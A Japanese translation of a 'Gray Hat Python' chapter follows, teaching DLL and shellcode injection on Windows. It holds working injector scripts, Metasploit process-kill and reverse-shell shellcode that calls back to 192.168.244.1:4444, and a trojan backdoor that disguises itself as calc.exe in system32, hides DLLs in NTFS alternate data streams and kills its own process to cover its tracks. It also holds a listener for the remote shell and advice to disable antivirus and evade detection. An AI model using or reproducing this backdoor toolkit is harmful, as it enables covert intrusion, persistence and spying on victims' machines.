Gray Hat Python-DLLおよびコヌドむンゞェクション

むントロ



プログラムをリバヌスたたは攻撃する堎合、調査䞭のプロセスのコンテキストでコヌドをダりンロヌドしお実行できるず䟿利な堎合がありたす。 パスワヌドハッシュを盗むか、タヌゲットシステムのリモヌトデスクトップにアクセスするかにかかわらず、コヌドずdllラむブラリを挿入する方法は匷力な機胜を提䟛したす。 䞡方の方法を䜿甚できる単玔なPythonナヌティリティをいく぀か䜜成したす。 これらのメ゜ッドは、プログラム、゚クスプロむト、シェルコヌド、およびペンテスタヌのすべおの開発者の歊噚庫の䞀郚である必芁がありたす。 DLLむンゞェクションを䜿甚しお、別のプロセス内でポップアップりィンドりを起動したす。 たた、コヌドむンゞェクションを䜿甚しお、PIDに基づいおプロセスを匷制終了するように蚭蚈されたシェルコヌドをテストしたす。 この章の最埌で、Pythonで完党に蚘述されたトロむの朚銬バックドア機胜付きを䜜成しおコンパむルしたす。 圌は、コヌドの実装ず、あらゆる優れたバックドアが䜿甚すべき他の隠された戊術の䜿甚に倧きく䟝存しおいたす。 䞡方の実装方法の基瀎ずなるリモヌトスレッドの䜜成のトピックから芋おいきたしょう。



7.1リモヌトスレッドの䜜成



DLLむンゞェクションずコヌドむンゞェクションにはいく぀かの倧きな違いがありたすが、䞡方の方法は同じ方法で、぀たりリモヌトスレッドを䜜成するこずで実珟されたす。 リモヌトスレッドは、Kernel32.dllから゚クスポヌトされるWin32 APIの䞀郚であるCreateRemoteThread関数[1]を䜿甚しお䜜成されたす 。 圌女には次のプロトタむプがありたす。



HANDLE WINAPI CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
      
      





心配しないでください、圌女には倚くのパラメヌタヌがありたすが、それらはすべお盎感的です。 最初のパラメヌタヌhProcessは、よく知っおいるはずです。 これは、スレッドを開始するプロセスぞのハンドルです。 lpThreadAttributesパラメヌタヌは、新しく䜜成されたスレッドのセキュリティ蚘述子を蚭定するだけで、子プロセスがスレッド蚘述子を継承できるかどうかを瀺したす。 倀をNULLに蚭定したす。これにより、継承されないストリヌム蚘述子ずデフォルトのセキュリティ蚘述子が提䟛されたす。 dwStackSizeパラメヌタヌは、䜜成されるストリヌムのスタックサむズを蚭定するだけです。 これをれロに蚭定するず、プロセスで既に䜿甚されおいるデフォルトのサむズが䞎えられたす。 次のlpStartAddressパラメヌタヌは、最も重芁なパラメヌタヌの1぀です。 スレッドが実行を開始するメモリ内の堎所を瀺したす。 実装を容易にするために必芁なコヌドが実行されるように、このアドレスを正しく蚭定するこずが非垞に重芁です。 次のパラメヌタヌlpParametrは、前のパラメヌタヌずほが同じくらい重芁です。 これにより、lpStartAddressで指定されたストリヌム関数に枡される倉数ぞのポむンタヌを提䟛できたす。 これは最初はわかりにくいかもしれたせんが、すぐに、このパラメヌタヌがDLLの実装にずっおどれほど重芁であるかがわかりたす。 dwCreationFlagsパラメヌタヌは、スレッドの開始方法を決定したす。 垞にれロに蚭定したす。぀たり、スレッドは䜜成埌すぐに実行されたす。 dwCreationFlagsがサポヌトする他の倀に぀いおは、MSDNのドキュメントを自由にチェックしおください。 lpThreadIdパラメヌタヌは最埌です。 新しく䜜成されたストリヌムの識別子IDが入力されたす。



挿入されたコヌドの䜜成を担圓する関数のメむンコヌルが理解できたので、リモヌトプロセスにDLLを埋め蟌むためにその䜿甚の問題を調べ、シェルコヌドの実装に埐々に進みたす。 リモヌトストリヌムを䜜成し、最終的にコヌドを実行する手順は、特定のケヌスDLLずシェルコヌドの実装ごずにわずかに異なるため、2回䜿甚しおすべおの違いをカバヌしたす。



7.1.1 DLLむンゞェクション



DLLの導入はかなり長い間、善ず悪の䞡方に䜿甚されおきたした。 どこを芋おも、どこでもDLL実装が衚瀺されたす。 珍しいWindowsシェル拡匵から、銀行情報を盗むマルりェアたで。 DLLの実装はどこにでもありたす。 セキュリティ補品でさえ、悪意のあるアクティビティを远跡するために独自のDLLを展開しおいたす。 DLLむンゞェクションを䜿甚するこずの目的は、バむナリファむルをコンパむルし、プロセスにロヌドしお、プロセスの䞀郚ずしお実行できるこずです。 これは、たずえば、特定のアプリケヌションのみが発信接続を蚱可する゜フトりェアファむアりォヌルをバむパスする堎合に非垞に䟿利です。 PythonでDLLむンゞェクタヌを䜜成するずきに、このトピックを少し調査したす。これにより、遞択したプロセスにDLLを埋め蟌むこずができたす。



DLLをWindowsプロセスのメモリにロヌドするには、 kernel32.dllから゚クスポヌトされたLoadLibrary関数を䜿甚する必芁がありたす。 圌女には次のプロトタむプがありたす。



 HMODULE LoadLibrary( LPCTSTR lpFileName );
      
      





lpFileNameパラメヌタヌは、DLLをロヌドするためのものです。 リモヌトプロセスが、ロヌドされたDLLぞのパスを含む文字列ぞのポむンタヌを䜿甚しおLoadLibraryAを呌び出すように匷制する必芁がありたす。 最初のステップは、LoadLibraryA関数の堎所を芋぀けるこずです。 次に、ロヌドされたDLLの名前を曞き蟌みたす。 CreateRemoteThreadを呌び出すずきは、lpStartAddressパラメヌタヌでLoadLibraryAのロケヌションアドレスを指定し、lpParameterに「DLLぞのパス名前」のロケヌションアドレスを配眮したす。 CreateRemoteThreadの実行が開始されるず、LoadLibraryAが呌び出されたす。これは、リモヌトプロセスがDLL自䜓をロヌドする芁求を䜜成した堎合ず同じです。



泚 実装をテストするため の DLLは、この本の゜ヌスアヌカむブにありたす。これはwww.nostarch.com/ghpython.htmからダりンロヌドできたす。 DLLの゜ヌスコヌドも内郚にありたす。



コヌドに移りたしょう。 新しいPythonファむルを開き、 dll_injector.pyずいう名前を付けお、次のコヌドを入力したす。



dll_injector.py

 import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) (#1): # Allocate some space for the DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) (#2): # Write the DLL path into the allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) (#3): # We need to resolve the address for LoadLibraryA h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") (#4): # Now we try to create the remote thread, with the entry point set # to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Remote thread with ID 0x%08x created." % thread_id.value
      
      





最初のステップ1では 、埋め蟌みDLLのパスを保存するのに十分なメモリを割り圓お、このパスを新しく割り圓おられたメモリ2に曞き蟌む必芁がありたす。 次に、LoadLibraryA 3関数のアドレスを芋぀けお、CreateRemoteThread 4関数の呌び出しに枡す必芁がありたす。 䜜成されたスレッドが実行を開始するずすぐに、埋め蟌たれたDLLが攻撃されたプロセスに読み蟌たれ、その埌、実装が成功したこずを瀺すポップアップダむアログボックスが衚瀺されたす。 以䞋に瀺すスクリプトを䜿甚したす。



 ./dll_injector <PID> <Path to DLL>
      
      





DLL実装の実装方法の良い䟋がありたす。 埋め蟌みDLLにはペむロヌドが含たれおいたせんが、実装技術自䜓を理解するこずは重芁です。 それでは、コヌドの実装に移りたしょう



7.1.2コヌドむンゞェクション



もっず陰湿なものに移りたしょう。 コヌドの実装により、ディスク䞊に痕跡を残さずに、メモリでの即時実行により、生のシェルコヌドを䜜業プロセスに埋め蟌むこずができたす。 これは、攻撃者がシェル接続をあるプロセスから別のプロセスに、攻撃埌に移行できるようにするものでもありたす。



特定のPIDでプロセスを単玔に終了する単玔なシェルコヌドを取埗したす。 これにより、リモヌトプロセスに移動し、元々実行しおいたプロセスを匷制終了できたす。これにより、トラックをカバヌできたす。



これは、最終的に䜜成するトロむの朚銬の重芁な機胜です。 たた、あなたのニヌズを満たすために、シェルコヌドを安党に眮き換えお、少しモゞュヌル化できるようにする方法を玹介したす。



プロセスを匷制終了するシェルコヌドを取埗するには、Metasploitプロゞェクトのホヌムペヌゞにアクセスしお、䟿利なシェルコヌドゞェネレヌタヌを䜿甚したす。 以前に䜿甚したこずがない堎合は 、 metasploit.com / shellcodeにアクセスしお詊しおください。 このケヌスでは、ゞェネレヌタヌを䜿甚しおWindows実行コマンドシェルコヌドを䜜成したしたリスト7-1を参照。 察応する蚭定も衚瀺されたす



リスト7-1 Metasploitプロゞェクトのオンラむンゞェネレヌタヌによっお生成されたシェルキラヌシェルコヌド。

 /* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com */ unsigned char scode[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41" "\x41\x41\x41\x41\x41\x41\x41\x00";
      
      





シェルコヌドができたので、今床はプログラミングに戻り、埋め蟌みコヌドがどのように機胜するかを瀺したす。 新しいPythonファむルを開き、 code_injector.pyずいう名前を付けお、次のコヌドを入力したす。



code_injector.py

 import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>" sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" (#1): padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the shellcode arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # Write out the shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # Now we create the remote thread and point its entry routine # to be head of our shellcode thread_id = c_ulong(0) (#2): if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None, 0,byref(thread_id)): print "[*] Failed to inject process-killing shellcode. Exiting." sys.exit(0) print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value print "[*] Process %s should not be running anymore!" % pid_to_kill
      
      





すでにコヌドの䞀郚を知っおいたすが、いく぀かの興味深いトリックがありたす。 最初に行うこずは、シェルコヌド1のマヌカヌ行\ x41 \ x41 \ x41 \ x41 \ x00を完了するプロセスのPIDに眮き換えるこずです。 もう1぀の顕著な違いは、CreateRemoteThread 2関数を呌び出す方法です。 パラメヌタlpStartAddressがシェルコヌドの先頭を指すようになりたした。 たた、関数に䜕も枡す必芁がないため、lpParameterをNULLに蚭定したす。代わりに、スレッドにシェルコヌドの実行を開始させるだけです。



スクリプトを実行する前に、いく぀かのcmd.exeプロセスを実行し、察応するPIDを取埗しおから、次に瀺すようにスクリプトを実行したす。



 ./code_injector.py <PID to inject> <PID to kill>
      
      





適切なコマンドラむン匕数を䜿甚しおスクリプトを実行するず、正垞に䜜成されたストリヌムが衚瀺されたすスクリプトはストリヌムIDを返したす。 たた、遞択したcmd.exeプロセスが匷制終了されたこずにも泚意しおください。



これで、別のプロセスでシェルコヌドをロヌドしお実行する方法がわかりたした。 これは、シェルコヌドを䜿甚しおコヌルバック関数を蚭定するずきだけでなく、ディスク䞊にコヌドがないため、トレヌスを非衚瀺にするずきにも䟿利です。 ここで、孊習した情報の䞀郚を䜿甚し、バックドアを䜜成したす。バックドアは、攻撃されたマシン䞊で実行されたずきにい぀でもリモヌトアクセスできるようにしたす。 悪の偎に行こう



7.2悪の偎に



悪意のために習埗したスキルを䜿甚したす。 次に、システムの実行䞭にい぀でもシステムを制埡するために䜿甚できる小さなバックドアを䜜成したす。 実行可胜ファむルの実行が開始されるず、ナヌザヌが実行したい元のプログラムを起動したすたずえば、バむナリcalc.exeず元のcalc.exeを呌び出しお、既知の堎所に転送したす 。 2番目のプロセス元のcalc.exe が読み蟌たれるず、リモヌトマシンに接続するコヌドを挿入したす。 シェルコヌドが実行され、 シェル リモヌトマシンずの通信ができたら、攻撃の実行元プロセスに2番目のコヌドを導入したす。



ちょっず calc.exeを終了させおいただけたすか 芁するに、はい。 しかし、プロセスの完了は、バックドアによっおサポヌトされる重芁な技術です。 たずえば、前の章で孊んだコヌドず知識を組み合わせお、機胜するアンチりむルスたたはファむアりォヌルを芋぀けお、それらを殺すこずができたす。 もちろん、䞍芁になった堎合、あるプロセスから別のプロセスに移動できるず同時に、移動したプロセスを匷制終了できるこずも重芁です。



このパヌトでは、PythonスクリプトをEXEにコンパむルする方法ず、メむンの実行可胜ファむルでDLLを非衚瀺にする方法も瀺したす。 ちょっずしたトリックを䜿っお、うさぎずずもにEXEファむルずずもに枡すDLLを䜜成する方法を芋おみたしょう。



7.2.1ファむルの非衚瀺



実装されたDLLをバックドアで安党に配垃し、あたり泚目されないようにするには、ファむルを保存するための隠された方法が必芁です。 2぀の実行可胜ファむルDLLを含むを取り、それらを1぀のファむルに結合するラッパヌ玄、レヌンはゞョむナヌを意味したすを䜿甚できたすが、この本はPythonを䜿甚したハッキン​​グに関するものなので、もう少し創造的である必芁がありたす。



実行可胜ファむル内のファむルを非衚瀺にするために、Alternate Data StreamsADSず呌ばれるNTFSファむルシステムの既存の機胜を悪甚したす。 代替デヌタストリヌムは、Windows NT 3.1で初めお登堎し、Appleの階局ファむルシステムHFSず察話する手段ずしお導入されたした。 ADSを䜿甚するず、ディスク䞊に1぀のファむルを䜜成し、メむンの実行可胜ファむルに添付されたストリヌムにDLLを保存できたす。 ストリヌムずは、ディスク䞊に衚瀺されるファむルに添付されおいる隠しファむルにすぎたせん。



代替デヌタストリヌムを䜿甚する堎合、ナヌザヌの盎接の芖線からDLLを隠したす。 特別なツヌルがなければ、コンピュヌタヌナヌザヌはADSの内容を芋るこずができたせん。これは私たちにずっお理想的です。 さらに、倚くのセキュリティ補品は代替スレッドを適切にスキャンしないため、それらを回避しお怜出を回避する可胜性が十分にありたす。



代替ストリヌムを䜿甚するには、以䞋に瀺すように、コロンず隠しオブゞェクトのファむル名を既存のファむルに远加する必芁がありたす。



 reverser.exe:vncdll.dll
      
      





この堎合、 vncdll.dllを取埗したす 。これは、 reverser.exeファむルに添付されおいる代替デヌタストリヌムに栌玍されおいたす。 ファむルから代替ストリヌムを単に読み曞きする小さなスクリプトを曞きたしょう。 新しいPythonファむルを開き、 file_hider.pyずいう名前を付けお、次のコヌドを入力したす。



file_hider.py

 import sys # Read in the DLL fd = open( sys.argv[1], "rb" ) dll_contents = fd.read() fd.close() print "[*] Filesize: %d" % len( dll_contents ) # Now write it out to the ADS fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" ) fd.write( dll_contents ) fd.close()
      
      





特別なこずはありたせん-最初のコマンドラむン匕数は読み取る必芁があるDLLで、2番目の匕数はDLLが代替ストリヌムに曞き蟌たれるファむルです。 この単玔なスクリプトを䜿甚しお、実行可胜ファむル内にあらゆる皮類のファむルを保存できたす。ADSから盎接DLLを実装するこずもできたす。 バックドアではDLLむンゞェクションを䜿甚したせんが、匕き続きサポヌトされたすので、先に進んでください。



7.2.2バックドアコヌド



遞択したアプリケヌションを単に起動する「実行リダむレクトコヌド」を䜜成するこずから始めたしょう。 コヌドの名前の理由は「実行リダむレクト」です。これは、バックドアcalc.exeを呌び出し、元のcalc.exeを別の堎所に移動するためです。 ナヌザヌが電卓を起動しようずするず、うっかりバックドアを起動したす。バックドアは実際の電卓を起動するため、ナヌザヌに疑いをかけたせん。 第3章の my_debugger_defines.pyファむルを含めるこずに泚意しおください。このファむルには、プロセスを䜜成するために必芁なすべおの定数ず構造が含たれおいたす。 新しいPythonファむルを開き、 backdoor.pyずいう名前を付けお、次のコヌドを入力したす。



backdoor.py

 # This library is from Chapter 3 and contains all # the necessary defines for process creation #     3.    #      import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) # This is the original executable path_to_exe = "C:\\calc.exe" startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() creation_flags = CREATE_NEW_CONSOLE startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 startupinfo.cb = sizeof(startupinfo) # First things first, fire up that second process # and store its PID so that we can do our injection kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId
      
      





コヌドはそれほど耇雑ではありたせん;あなたにずっお新しいこずは䜕もありたせん。 コヌドの実装に進む前に、この非垞に泚入されたコヌドを非衚瀺にする方法を怜蚎したす。 バックドアコヌドに盎接远加したしょう。 プロセス䜜成セクションの盎埌にコヌドを添付しおください。 実装関数は、埋め蟌みコヌドず埋め蟌みDLLの䞡方で機胜したす。 「パラメヌタ」を「1」に蚭定し、DLLぞのパスを「デヌタ」倉数に入れるだけです。 ここでは、枅朔さは守りたせんが、迅速か぀汚い行動をしたす。 backdoor.pyファむルに埋め蟌み関数を远加したしょう。



backdoor.py

 ... def inject( pid, data, parameter = 0 ): # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") parameter = arg_address if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) return True
      
      





バックドアは、「コヌドむンゞェクション」ず「DLLむンゞェクション」の䞡方を凊理できるむンゞェクション機胜をサポヌトしおいたす。 次に、2぀の郚分で構成されるシェルコヌドを挿入したす。 1぀は「シェル」攻撃者ずの通信甚のシェルを提䟛するこずを目的ずし、もう1぀はプロセスを完了するためのものです。 バックドアにコヌドを远加しおいきたしょう。



backdoor.py

 ... # Now we have to climb out of the process we are in # and code inject our new process to kill ourselves #/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */ connect_back_shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \ "\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \ "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \ "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \ "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \ "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \ "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \ "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \ "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" inject( pid, connect_back_shellcode ) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ our_pid = str( kernel32.GetCurrentProcessId() ) process_killer_shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - ( len( our_pid ) ) replace_value = our_pid + ( "\x00" * padding ) replace_string= "\x41" * 4 process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value ) # Pop the process killing shellcode in inject( our_pid, process_killer_shellcode )
      
      





いいねプロセスIDPIDをバックドアに枡し、生成したプロセスcalc.exeにシェルコヌドを埋め蟌みたす。その埌、バックドアを殺したす。これで、いく぀かのトリックを䜿甚した非垞に優れたバックドアができたしたが、最も重芁なこずは、誰かが電卓を起動するたびに、攻撃されたマシンにアクセスできるこずです。䟵害されたシステムがあり、このシステムのナヌザヌがパスワヌドで保護されたアプリケヌションたたは関心のあるアプリケヌションにアクセスできる堎合、戊闘状態でこのアプロヌチを䜿甚できたす。この堎合、ファむルを眮き換えお、起動盎埌にそのようなアプリケヌションの操䜜の結果に自分自身をくさびで留めるこずができたす。ナヌザヌがスプヌフィングされたアプリケヌションを起動しおシステムにログむンするたびに、キヌストロヌクの監芖、ネットワヌクパケットの傍受などを開始できるシェルシェルを取埗したす。 1぀の小さなこずを解決する必芁がありたす。スクリプトを実行するために必芁なPythonがむンストヌルされおいたすか続きを読むず、次のようなすばらしいPythonラむブラリに぀いお孊ぶこずができたす。py2exeを䜿甚するず、Pythonスクリプトを実際のWindows実行可胜ファむルに倉換できたす。 exeファむル。



py2exe䜿い方7.2.3



ラむブラリpy2exeを [2] 、本栌的なWindows実行ファむルにPythonスクリプトをコンパむルするこずが可胜です。䜿甚する前に、コンパむルするものを決定する特別なむンストヌルスクリプトを䜜成する必芁がありたす。バックドアをコンパむルするために、かなり単玔なスクリプトを䜜成したす。新しいファむルを開き、setup.pyずいう名前を付けお、次のコヌドを入力したす。



setup.py

 # Backdoor builder from distutils.core import setup import py2exe setup(console=['backdoor.py'], options = {'py2exe':{'bundle_files':1}}, zipfile = None, )
      
      





はい、圌はずおもシンプルです。むンストヌル機胜に枡されたパラメヌタヌを芋おみたしょう。最初のパラメヌタヌ「console」は、コンパむルするメむンスクリプトの名前です。オプションずzipfileパラメヌタヌは、Python DLLず他のすべおの䟝存モゞュヌルをメむン実行可胜ファむルに結合するように蚭定されたす。これにより、Pythonが存圚しないシステムに転送できるずいう意味で、バックドアがモバむルになり、動䜜したす。コンパむルする前に、ファむルmy_debugger_defines.py、backdoor.py、およびsetup.pyが同じディレクトリにあるこずを確認しおください。次に、コマンドラむンに移動し、以䞋に瀺すようにむンストヌルスクリプトを実行したす。



 python setup.py py2exe
      
      





その埌、コンパむルプロセスからの出力が衚瀺され、その埌に2぀のdistおよびbuildディレクトリが䜜成されたす。distフォルダヌのヌヌトリアでは、backdoor.exeがあなたを埅っおいたす。名前をcalc.exeに倉曎し、テスト甚のタヌゲットシステムにコピヌしたす。次に、「C\ WINDOWS \ system32 \」から元のcalc.exeをコピヌし、ドラむブ「C\」のルヌトに配眮したす。次に、バックドアcalc.exeを「C\ WINDOWS \ system32 \」に移動したす。これで、リモヌトシステムでシェルを操䜜するために必芁なのは、コマンドを送受信するための簡単なスクリプトを曞くこずだけです。新しいPythonファむルを開き、backdoor_shell.pyずいう名前を付けたす次のコヌドを入力したす。



backdoor_shell.py

 import socket import sys host = "192.168.244.1" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print "[*] Server bound to %s:%d" % ( host , port ) connected = False while 1: #accept connections from outside if not connected: (client, address) = server.accept() connected = True print "[*] Accepted Shell Connection" buffer = "" while 1: try: recv_buffer = client.recv(4096) print "[*] Received: %s" % recv_buffer if not len(recv_buffer): break else: buffer += recv_buffer except: break # We've received everything, now it's time to send some input command = raw_input("Enter Command> ") client.sendall( command + "\r\n\r\n" ) print "[*] Sent => %s" % command
      
      





これは、接続を埅機しお゜ケットの読み取り/曞き蟌みを行うだけの非垞に単玔な゜ケットサヌバヌです。環境のホスト倉数ずポヌト倉数のセットを䜿甚しお、サヌバヌを起動したす。次に、calc.exeを実行したすリモヌトシステム䞊ロヌカルコンピュヌタヌでも同じように動䜜したす。次に、電卓りィンドりが衚瀺され、゜ケットサヌバヌが接続を登録し、デヌタを取埗したす。リモヌトシステムからデヌタを受信するサむクルを䞭断するには、CTRL-Cを抌したす。これにより、コマンドを入力できたす。ここでは、Windowsのネむティブシェルシェルコマンドであるdir、cd、たたはtypeなどのコマンドを詊すこずができたす。各コマンドを入力するず、その結果が衚瀺されたす。これで、バックドアず察話するための効果的でわずかに芋えない手段ができたした。想像力を駆䜿しお機胜を拡匵しおください。慎重に考え、アンチりむルスを回避しおください。 Pythonでそのようなものを開発する利点は、速床、䜿いやすさ、再利甚性です。



